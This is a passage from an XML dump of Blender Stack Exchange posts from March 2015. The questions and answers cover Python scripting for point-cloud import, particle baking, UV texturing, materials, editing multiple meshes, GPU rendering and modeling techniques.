mesh.from_pydata(vert, [], [])&#xA;        object_data_add(bpy.context, mesh)&#xA;    else:&#xA;        bpy.data.objects[row[0]].select = True&#xA;        bpy.context.scene.objects.active = bpy.data.objects[row[0]]&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        mesh = bmesh.from_edit_mesh(bpy.data.objects[row[0]].data)&#xA;        mesh.verts.new((float(row[1]),float(row[2]),float(row[3])))&#xA;        mesh.verts.ensure_lookup_table()&#xA;        mesh.edges.new([mesh.verts[0],mesh.verts[1]])&#xA;        mesh.edges.new([mesh.verts[1],mesh.verts[2]])&#xA;        mesh.edges.new([mesh.verts[2],mesh.verts[3]])&#xA;        mesh.edges.new([mesh.verts[1],mesh.verts[4]])&#xA;        mesh.edges.new([mesh.verts[4],mesh.verts[5]])&#xA;        bmesh.update_edit_mesh(bpy.data.objects[row[0]].data, True)&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3087" LastEditorUserId="241" LastEditDate="2020-05-23T15:13:05.150" LastActivityDate="2020-05-23T15:13:05.150" Title="Csv Import pointcloud into Blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;import&gt;&lt;point-clouds&gt;&lt;csv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27537" PostTypeId="1" AcceptedAnswerId="27539" CreationDate="2015-03-23T15:40:30.590" Score="0" ViewCount="70" Body="&lt;p&gt;I have a complex object I am trying to texture with a real locations textures. I have the faces I want selected in edit mode and I UV unwrap them by projecting from bounds and it looks fine, like only the faces I selected are being unwrapped, but when I go to apply a new material, the material selects ALL of the faces, the ones I want, and the ones I don't want. What's the best way to get by this?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2016-12-20T23:21:48.567" Title="Texturing spacifc faces" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2015-03-23T17:35:24.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="27538" PostTypeId="1" AcceptedAnswerId="27540" CreationDate="2015-03-23T16:08:08.587" Score="14" ViewCount="17494" Body="&lt;p&gt;I followed this tutorial ( &lt;a href=&quot;https://www.youtube.com/watch?v=2KNO_laPA9s&quot;&gt;https://www.youtube.com/watch?v=2KNO_laPA9s&lt;/a&gt; ) to create an audio visualizer, and it's worked great with the audio baking to the curves to affect the particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But during the render process Blender has crashed a couple of times. On resume I have to play the animation again to repopulate the particles and create a new animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The audio-to-fcurve bake remains intact in the .blend file, but the particle generation and turbulence isn't baked into the blend the way a physics simulation would be. I have BVH caching enabled, but I &lt;em&gt;guess&lt;/em&gt; that's not persistent since the randomness of the turbulence results in variables between sessions that prevent me from continuing smoothly at the last frame rendered before the crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I ensure that the data is consistent between renders of the animation?&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="599" LastEditDate="2015-03-23T19:39:47.523" LastActivityDate="2018-12-12T18:38:28.780" Title="How do I save (bake) a particle simulation?" Tags="&lt;animation&gt;&lt;particles&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27539" PostTypeId="2" ParentId="27537" CreationDate="2015-03-23T16:12:38.423" Score="1" Body="&lt;p&gt;If there are no materials applied to the mesh, first material that is created will be applied to whole mesh. There can not be part of mesh without a material. You have to create additional material for those specified faces.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-20T23:21:48.567" LastActivityDate="2016-12-20T23:21:48.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27540" PostTypeId="2" ParentId="27538" CreationDate="2015-03-23T17:00:36.547" Score="13" Body="&lt;p&gt;You can bake the particles by going to the cache section on the particle emitter. Enable Disk Cache and then Bake All Dynamics. After you do that save your file. The particle cache info will be saved to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Al61l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-23T17:00:36.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27541" PostTypeId="1" AcceptedAnswerId="27546" CreationDate="2015-03-23T17:10:51.720" Score="1" ViewCount="1200" Body="&lt;p&gt;I want to unparent a child from empty with python using &lt;code&gt;obj = own.children&lt;/code&gt; but it wont work with unparenting because this 1 child object is classifed as list or smth else, and gets zombie object spam in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to unparent child without using name?&lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="241" LastEditDate="2016-01-12T15:37:29.200" LastActivityDate="2016-01-12T15:37:29.200" Title="How to unparent child" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27542" PostTypeId="1" CreationDate="2015-03-23T17:27:43.003" Score="2" ViewCount="46" Body="&lt;p&gt;I'm composting a blender scene into live footage. I have objects interacting with my &quot;ground.&quot; what I want to do is set up the ground to render out transparent so that we can't see it in the composite video, but the objects interacting with the ground still need shadows. How can I set this up?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-03-23T17:27:43.003" Title="Setting an object to render transparent with shadows" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2015-03-23T22:15:13.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="27543" PostTypeId="1" AcceptedAnswerId="27545" CreationDate="2015-03-23T17:28:50.147" Score="8" ViewCount="9648" Body="&lt;p&gt;Whenever I enter edit mode, with 2 separate meshes (cubes), I can only select vertices/edges/faces of 1 mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (the screen shot did not include the mouse cursor):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d0DQv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0DQv.png&quot; alt=&quot;edit mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I enter edit mode with both meshes selected, one of the meshes has a red border and cannot be selected (it also has this border in Object mode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f1wKv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1wKv.png&quot; alt=&quot;edit mode with two objects selected&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13337" LastEditorUserId="2217" LastEditDate="2015-03-23T17:38:58.543" LastActivityDate="2017-06-25T02:34:25.570" Title="Cannot select vertices from different object while in edit mode" Tags="&lt;objects&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27544" PostTypeId="2" ParentId="27272" CreationDate="2015-03-23T17:42:52.817" Score="1" Body="&lt;p&gt;I have edited the import script so you can get extra info from the file as vertex weights with a factor as object property&#xA;ex : temperature info column will generate&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;vertex_group named 'temperature'&lt;/li&gt;&#xA;&lt;li&gt;object property named 'temperature_factor'&lt;/li&gt;&#xA;&lt;li&gt;point temperature = vertex_weight*temperature_factor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;download this file (  &lt;a href=&quot;http://www.pasteall.org/blend/35183&quot; rel=&quot;nofollow noreferrer&quot;&gt;import_ply.py&lt;/a&gt;  ) and replace the one in &lt;code&gt;Program Files\Blender Foundation\Blender\2.73\scripts\addons\io_mesh_ply\&lt;/code&gt; , restart blender after that to take effect&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have used the factor to normalize all values (0.0&amp;lt;-&amp;gt;1.0) because weight can't handle more than that&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c2ZJF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qSVPJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-23T17:54:57.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27545" PostTypeId="2" ParentId="27543" CreationDate="2015-03-23T17:45:39.763" Score="11" Body="&lt;p&gt;In order to make the both meshes editable at the same time you need to join the objects in object mode while they are selected using &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt;, then both meshes will be available in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to install &lt;a href=&quot;https://blenderartists.org/forum/showthread.php?339369-MultiEdit-version-5-Multiple-Objects-Editing/&quot; rel=&quot;noreferrer&quot;&gt;MultiEdit&lt;/a&gt; addon that will allow to edit selected objects simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-20T23:28:36.883" LastActivityDate="2016-12-20T23:28:36.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27546" PostTypeId="2" ParentId="27541" CreationDate="2015-03-23T18:14:14.780" Score="2" Body="&lt;p&gt;you have to use the &lt;code&gt;removeParent()&lt;/code&gt; function, since both &lt;code&gt;.children&lt;/code&gt; and &lt;code&gt;.parent&lt;/code&gt; are read only :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;for child in own.children :&#xA;    child.removeParent()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T18:14:14.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27547" PostTypeId="1" CreationDate="2015-03-23T18:31:02.017" Score="2" ViewCount="3396" Body="&lt;p&gt;Is it better to have multiple render nodes and do rendering over the network? &#xA;If so - is there a special software to set this up and is it hard to configure this? Is there a max amount of render nodes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would it be better to have one &quot;monster&quot; workstation with multiple GPUs (5-6 GPUs)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i know Maya only supports 4 render-nodes... so my question is if there is such a limit in Blender? And the other question if it is difficult to set up a render-farm or render-nodes: I have never tried it so my question is if i will run in a lot of problems if i will try it (i want to use a GPU-based renderer like Cycles). I hope i have explained my thoughts now enough. Thanks for kindness with a noob :-) &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As far as i know Maya only supports 4 render-nodes... so my question is if there is such a limit in Blender? And the other question if it is difficult to set up a render-farm or render-nodes: I have never tried it so my question is if i will run in a lot of problems if i will try it (i want to use a GPU-based renderer like Cycles). I hope i have explained my thoughts now enough. Thanks for kindness with a noob :-) &lt;/p&gt;&#xA;" OwnerUserId="13332" LastEditorUserId="72" LastEditDate="2015-03-24T00:06:58.440" LastActivityDate="2015-03-26T16:47:54.807" Title="What is better for rendering in cycles? A network? Or a single monster workstation?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;&lt;performance&gt;&lt;network&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27549" PostTypeId="2" ParentId="27390" CreationDate="2015-03-23T19:07:12.990" Score="4" Body="&lt;p&gt;To change the color of selected objects in the 3D_view go to : &lt;strong&gt;&lt;em&gt;User_Preferences-&gt;Theme-&gt;3D_view-&gt;Selected_object&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T4Gh0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-23T19:07:12.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27550" PostTypeId="1" CreationDate="2015-03-23T19:47:04.783" Score="1" ViewCount="490" Body="&lt;p&gt;I am running blender on GPU. I remark that there is no high difference between CPU and GPU as not expected. What is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CPU information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*&#xA;&#xA;&amp;gt;     Architecture :        x86_64&#xA;&amp;gt;     Mode(s) opératoire(s) des processeurs : 32-bit, 64-bit&#xA;&amp;gt;     Boutisme :            Little Endian&#xA;&amp;gt;     Processeur(s) :       8&#xA;&amp;gt;     Liste de processeur(s) en ligne : 0-7&#xA;&amp;gt;     Thread(s) par cœur : 2                                                                             &#xA;&amp;gt;     Cœur(s) par socket : 4                                                                             &#xA;&amp;gt;     Socket(s) :           1                                                                            &#xA;&amp;gt;     Nœud(s) NUMA :       1                                                                             &#xA;&amp;gt;     Identifiant constructeur : GenuineIntel                                                            &#xA;&amp;gt;     Famille de processeur : 6                                                                          &#xA;&amp;gt;     Modèle :             26                                                                            &#xA;&amp;gt;     Nom de modèle :      Intel(R) Xeon(R) CPU           W3520  @ 2.67GHz                               &#xA;&amp;gt;     Révision :           5                                                                             &#xA;&amp;gt;     Vitesse du processeur en MHz : 1596.000                                                            &#xA;&amp;gt;     Vitesse maximale du processeur en MHz : 2661,0000                                                  &#xA;&amp;gt;     Vitesse minimale du processeur en MHz : 1596,0000                                                  &#xA;&amp;gt;     BogoMIPS :            5320.06                                                                      &#xA;&amp;gt;     Virtualisation :      VT-x                                                                         &#xA;&amp;gt;     Cache L1d :           32K                                                                          &#xA;&amp;gt;     Cache L1i :           32K                                                                          &#xA;&amp;gt;     Cache L2 :            256K                                                                         &#xA;&amp;gt;     Cache L3 :            8192K                                                                        &#xA;&amp;gt;     Nœud NUMA 0 de processeur(s) : 0-7&#xA;&#xA;*&#xA;**GPU information:**&#xA;&#xA;&#xA;&#xA;&amp;gt; *02:00.0 VGA compatible controller [0300]: NVIDIA Corporation GF104 [GeForce GTX 460] [10de:0e22] (rev a1) (prog-if 00 [VGA controller])&#xA;&amp;gt;            Subsystem: Gigabyte Technology Co., Ltd Device [1458:34fa]&#xA;&amp;gt;            Flags: bus master, fast devsel, latency 0, IRQ 53&#xA;&amp;gt;            Memory at bc000000 (32-bit, non-prefetchable) [size=32M]&#xA;&amp;gt;            Memory at c0000000 (64-bit, prefetchable) [size=128M]&#xA;&amp;gt;            Memory at c8000000 (64-bit, prefetchable) [size=64M]&#xA;&amp;gt;            I/O ports at 2000 [size=128]&#xA;&amp;gt;            [virtual] Expansion ROM at be000000 [disabled] [size=512K]&#xA;&amp;gt;            Capabilities: &amp;lt;access denied&amp;gt;&#xA;&amp;gt;            Kernel driver in use: nvidia&#xA;&amp;gt;     &#xA;&amp;gt;     02:00.1 Audio device [0403]: NVIDIA Corporation GF104 High Definition Audio Controller [10de:0beb] (rev a1)&#xA;&amp;gt;            Subsystem: Gigabyte Technology Co., Ltd Device [1458:34fa]&#xA;&amp;gt;     --&#xA;&amp;gt;     03:00.0 VGA compatible controller [0300]: NVIDIA Corporation GT218 [GeForce 210] [10de:0a65] (rev a2) (prog-if 00 [VGA controller])&#xA;&amp;gt;            Subsystem: ASUSTeK Computer Inc. Device [1043:8354]&#xA;&amp;gt;            Flags: bus master, fast devsel, latency 0, IRQ 54&#xA;&amp;gt;            Memory at b8000000 (32-bit, non-prefetchable) [size=16M]&#xA;&amp;gt;            Memory at d0000000 (64-bit, prefetchable) [size=256M]&#xA;&amp;gt;            Memory at ce000000 (64-bit, prefetchable) [size=32M]&#xA;&amp;gt;            I/O ports at 3000 [size=128]&#xA;&amp;gt;            [virtual] Expansion ROM at b9000000 [disabled] [size=512K]&#xA;&amp;gt;            Capabilities: &amp;lt;access denied&amp;gt;&#xA;&amp;gt;            Kernel driver in use: nvidia&#xA;&amp;gt;     &#xA;&amp;gt;     03:00.1 Audio device [0403]: NVIDIA Corporation High Definition Audio Controller [10de:0be3] (rev a1)&#xA;&amp;gt;            Subsystem: ASUSTeK Computer Inc. Device [1043:8354]*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Path tracing sample is 1000.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the GPU with tile size=256, 512, 1024 and with 500, 250, 150 samples but I remark that for 2hours or 3 hours, it rendered only 66 frames. It is very slow!!!&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-03-30T21:59:57.860" LastActivityDate="2015-03-31T22:21:09.840" Title="Run blender on GPU is as low as CPU" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;&lt;gpu&gt;&lt;performance&gt;" AnswerCount="0" CommentCount="18" ClosedDate="2015-03-31T23:56:12.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="27552" PostTypeId="1" CreationDate="2015-03-23T19:56:13.320" Score="5" ViewCount="14508" Body="&lt;p&gt;I am using a clone brush on a model using &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;Left Mouse Button&lt;/kbd&gt; to define origin of the clone brush. Why it doesn't work when I'm doing the same in UV/Image Editor?&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-03-23T22:39:17.933" LastActivityDate="2016-03-10T16:47:41.317" Title="How can I use clone brush in the UV/Image editor?" Tags="&lt;interface&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27553" PostTypeId="2" ParentId="27552" CreationDate="2015-03-23T20:41:29.640" Score="8" Body="&lt;p&gt;I'll show you the method, which does not work exactly like the one you mentioned (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left Mouse Click&lt;/kbd&gt;) but may be useful for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Uv/Image Editor&lt;/em&gt; change the &lt;em&gt;Mode&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Paint&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C5L5y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the cursor in the &lt;em&gt;Uv/Image Editor&lt;/em&gt; window and press &lt;kbd&gt;T&lt;/kbd&gt;. It will display the &lt;em&gt;Tools panel&lt;/em&gt; on the left. Choose the clone brush and an image, which will be the source for cloning.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2zfSM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the image wherever you want holding the &lt;kbd&gt;Right Mouse Click&lt;/kbd&gt;. Paint by pressing the &lt;kbd&gt;Left Mouse Click&lt;/kbd&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vHE9e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-03-23T20:41:29.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27554" PostTypeId="1" AcceptedAnswerId="27555" CreationDate="2015-03-23T20:57:04.850" Score="2" ViewCount="4528" Body="&lt;p&gt;This is the video I have been watching. &lt;a href=&quot;https://www.youtube.com/watch?v=pTfjrwYcY3g&quot; rel=&quot;nofollow&quot; title=&quot;Youtube video&quot;&gt;Blender Sword Modeling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant figure out how the guy make the sword actually 3D, or to appear to have mass.&lt;/p&gt;&#xA;" OwnerUserId="13341" LastEditorUserId="2217" LastEditDate="2015-03-23T21:17:08.720" LastActivityDate="2015-03-23T21:44:38.863" Title="How can you turn 2D faces into a 3D object?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27555" PostTypeId="2" ParentId="27554" CreationDate="2015-03-23T21:04:58.753" Score="3" Body="&lt;p&gt;At &lt;a href=&quot;https://www.youtube.com/watch?v=pTfjrwYcY3g&amp;amp;t=269&quot; rel=&quot;nofollow noreferrer&quot;&gt;4:30&lt;/a&gt; in the video he selects all the interior faces, with circle select &lt;kbd&gt;C&lt;/kbd&gt;. Then moves them along the X axis, &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;, that gives the object thickness.&lt;br&gt;&#xA;Having left the outer faces unselected, it creates a bevel which when combined with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mirror&quot; rel=&quot;nofollow noreferrer&quot;&gt;mirror modifier&lt;/a&gt; he adds later will make the whole object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lR0k0.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-23T21:04:58.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27559" PostTypeId="2" ParentId="27554" CreationDate="2015-03-23T21:44:38.863" Score="1" Body="&lt;p&gt;Another quick way to do this is with a solidify modifier, used create thickness out of flat objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the sharp edges you can then add a bevel modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rY88I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-23T21:44:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27562" PostTypeId="1" CreationDate="2015-03-23T23:28:05.013" Score="0" ViewCount="1853" Body="&lt;p&gt;I'd like to know how to select multiple faces and rotate them along the z-axis (or along any other axis) in the same direction? I know this may be a pretty simple question and has been answered somewhere, but I just don't know what to google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you could rotate every single face individually, but that would be really time consuming. The effect I'm looking for is something like in this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SNPzz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7828" LastActivityDate="2015-03-24T00:16:31.187" Title="How to rotate multiple faces in the same direction" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27563" PostTypeId="1" AcceptedAnswerId="27565" CreationDate="2015-03-23T23:37:40.103" Score="1" ViewCount="1057" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8jRep.png&quot; alt=&quot;Texture&quot;&gt;&lt;br&gt;&#xA;The title pretty much sums it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am modelling a rubber ball. For the texture there is a png file with transparent spots without color and some wavy shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when giving the material transparency and setting it down, it will make the texture transparent too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture is too complex or I would just make another material and assign it only to the faces where the color is. Is there a way to work around this? &lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="2217" LastEditDate="2015-03-23T23:51:29.453" LastActivityDate="2016-12-20T23:31:17.047" Title="How to make a material transparent but not its texture (Blender Render)" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27564" PostTypeId="2" ParentId="27562" CreationDate="2015-03-23T23:45:46.607" Score="0" Body="&lt;p&gt;Okay. Here is my input.&#xA;First select all the faces you want to rotate by holding down the Shift key and clicking on them.&#xA;Next you want to press the 'R' key for Rotate and than the 'Z' key to constrain the rotation to the Z axis (or 'X' or 'Y').&#xA;Next, type in the angle you want to rotate them (i.e. 15, 30, 45, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just select all the faces you want rotated to a specific angle and change their rotation value in the properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.  Will check back in.&lt;/p&gt;&#xA;" OwnerUserId="13311" LastEditorUserId="13311" LastEditDate="2015-03-24T00:06:29.423" LastActivityDate="2015-03-24T00:06:29.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27565" PostTypeId="2" ParentId="27563" CreationDate="2015-03-23T23:48:35.280" Score="2" Body="&lt;p&gt;In the texture tab, scroll down to &lt;em&gt;Influence&lt;/em&gt; section and enable &lt;em&gt;Alpha&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Swp2.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-20T23:31:17.047" LastActivityDate="2016-12-20T23:31:17.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27566" PostTypeId="2" ParentId="27433" CreationDate="2015-03-24T00:03:33.490" Score="0" Body="&lt;p&gt;I'm facing a similar problem, where I'm trying to transfer motion from a simmed mesh to an armature that then controls a final mesh. I don't have a full answer for you, but part of the problem you face is the way that splineIK overrides everything. But if you used a method other than splikeIK, perhaps you would have more options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other method is to use a vertex chain instead of a curve, then constrain a bone chain to it. Use curve bones (bbones) to get your curve back. You'll want each bone to be IK constrained to a vertex group at its tip, with a chain length of 1. The bone is then Connected to the bone higher up the chain. The bone at the start of the chain will need Child Of or Copy Loc to a vertex group at it's head. This whole setup will give you the same results as spline IK. (Note that, like spline IK, this won't give you any Roll aka local Y rotation. But if you also put a copy rot on each bone to a loop running perpendicular to that bone you can get it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you'll be able to get FK working with this either, but it may give you more options to work with, as it doesn't have the hard override that splineIK does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's complicated, but what if you had something like this: Your mesh, controlled by an armature. Then a second armature, controlled by the softbody sim (either through spline IK or the method above.) The second armature is locked, but you can control the first, and they are mixing their force on the object?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-03-24T00:03:33.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27567" PostTypeId="1" AcceptedAnswerId="28377" CreationDate="2015-03-24T00:08:47.283" Score="2" ViewCount="438" Body="&lt;p&gt;I am working on a project that requires me to have control of shadows in the compositor (specifically, to darken or lighten them.) In BI, I would simply take the shadow pass and ramp it, them multiply it back in. But my scene involves mesh lights, and the Shadow pass only has Lamps and Environment lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that it should be possible to get the info I need for mesh lights from Direct Passes, and for indirect light from Indirect passes. But I am stuck on how to do this without also getting too much other info from those passes. From googling around, I've seen that others have run into this problem, but I couldn't find anybody that had actually tried to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a way to do this? Or can it be confirmed that it cannot be done for some reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It is not enough to get shadows cast on other objects, which is covered by some other answers. I need the shading on each model itself as well. This is not for a shadow catcher, it is for isolating both cast shadows and shading so they can be worked with.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-03-24T22:33:54.300" LastActivityDate="2015-04-11T20:15:04.930" Title="Build a proper Cycles shadow pass in the compositor" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ClosedDate="2015-04-12T07:09:11.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="27568" PostTypeId="2" ParentId="27562" CreationDate="2015-03-24T00:11:12.533" Score="1" Body="&lt;p&gt;Change pivot point to Individual Origins and rotate on Z axis, or instead of rotate you can Shear the faces from top view, with Median Point Pivot using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and drag the mouse until you get the angle that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8qpn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-03-24T00:16:31.187" LastActivityDate="2015-03-24T00:16:31.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
